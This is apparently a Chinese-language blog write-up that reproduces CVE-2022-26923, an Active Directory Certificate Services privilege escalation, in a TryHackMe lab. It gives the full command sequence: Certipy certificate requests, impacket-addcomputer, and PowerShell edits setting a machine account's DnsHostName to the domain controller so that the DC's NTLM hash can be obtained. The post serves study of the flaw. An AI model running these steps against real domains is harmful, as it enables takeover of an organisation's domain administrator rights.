CVE-2022-26923 AD CS域提权漏洞复现

文章目录


提示:以下是本篇文章正文内容,知识仅供学习漏洞知识

一、漏洞概述

当Windows系统的Active Directory证书服务(CS)在域上运行时,由于机器账号中的dNSHostName属性不具有唯一性,域中普通用户可以将其更改为高权限的域控机器账号属性,然后从Active Directory证书服务中获取域控机器账户的证书,导致域中普通用户权限提升为域管理员权限。

二、复现

1.环境及工具

靶场环境:

复现过程中使用到的环境是 tryhackme.com 网站的靶场

靶场链接地址:https://tryhackme.com/room/cve202226923

靶场提供信息:

#域名
Domain: lunar.eruca.com
#域内普通用户
Username: thm
#域内普通用户密码
Password: Password1@

攻击环境:kali

使用到的工具:

Certipy4.0 地址(https://github.com/ly4k/Certipy)

impacket 工具包

2.复现过程

连接上靶场的vpn信息后,对攻击机hosts文件进行配置

由于攻击机不在域内环境,需要对攻击机kali hosts文件进行修改指向域。

修改格式为每列空格分离

域控ip	 域dc名.域名	域dc名	CA		域名
10.10.6.76 lundc.lunar.eruca.com lundc lunar-LUNDC-CA lunar.eruca.com

使用普通域用户生成证书

certipy req  -username thm@lunar.eruca.com -password Password1@ -ca LUNAR-LUNDC-CA -template User

在使用vpn或者流量代理的情况,很容易出现网络方面的超时等问题,需要多试几次。

拿到了证书

拿到了证书后,可以通过证书进行验证可以得到该用户的ntlm,该漏洞可以通过申请到域控机器账户的证书,而得到域控机器账户的ntlm进行利用。

certipy auth -pfx thm.pfx

接下来需要使用普通的域用户创建域机器账户,创建的方法有太多种了,这里直接使用kali的impacket-addcomputer进行创建

impacket-addcomputer 'lunar.eruca.com/thm:Password1@' -method LDAPS -computer-name 'THMPC1' -computer-pass 'Password1@'

然后修改机器用户的DnsHostName属性,修改机器用户的DnsHostName属性值方法也有很多种,这里使用powershell中的方法。执行过程中可能会出现失败的情况

使用靶场提供的账号密码通过ssh连接上靶机,启用powershell

ssh thm@lunar.eruca.com

查看THMPC1机器用户的DnsHostName属性

Get-ADComputer THMPC1 -properties dnshostname,serviceprincipalname

可以查看到DnsHostName属性值为当前自己

要先移除清空机器用户的spn属性才可以修改dns属性,不然会报错

移除SPN(serviceprincipalname)属性
Set-ADComputer THMPC1 -ServicePrincipalName @{}
 
修改机器用户的dns 为域控
Set-ADComputer THMPC1 -DnsHostName LUNDC.lunar.eruca.com

修改完DnsHostName属性值后再次查看,DnsHostName属性值已经是LUNDC.lunar.eruca.com

这时候使用该机器账户生成证书:

certipy req -username 'THMPC1$@lunar.eruca.com' -password 'Password1@' -ca LUNAR-LUNDC-CA -template Machine -debug

生成了域控dc的证书

再使用证书进行验证获取ntlm

certipy auth -pfx lundc.pfx

到此拿到了域控机器账户的ntlm,接下来就可以使用域控机器账户的ntlm做其他的操作了。

关于CA服务器的问题

获取证书错误:0x80092013 错误:吊销服务器处于脱机状态。

解决方法:

1.在ca 服务器上执行

certutil.exe -setreg CA\LogLevel 2

2.重启ca服务器

在域内怎么查看CA服务器:

certutil -dump -v 查看CA服务器
certutil -config - -ping
相关推荐
dreamer2927 小时前
21、Tomato
linux·安全·web安全·网络安全·系统安全
星尘安全12 小时前
一种新的电子邮件攻击方式:AiTM
开发语言·网络安全·php·网络钓鱼·aitm
世界尽头与你12 小时前
安全热点问题
安全·网络安全
白帽黑客cst16 小时前
网络安全(黑客技术) 最新三个月学习计划
网络·数据结构·windows·学习·安全·web安全·网络安全
世界尽头与你18 小时前
活动目录安全
安全·网络安全·内网安全
anddddoooo18 小时前
vulnhub(11):derpnstink(hydra爆破用户名和密码、验证的文件上传)
linux·运维·服务器·安全·web安全·网络安全
web_learning_32119 小时前
网络安全证书考取相关知识
安全·web安全·网络安全
看山还是山,看水还是。20 小时前
《网络通信原理》
http·网络安全·智能路由器·信息与通信·信号处理
世界尽头与你1 天前
移动应用安全
安全·网络安全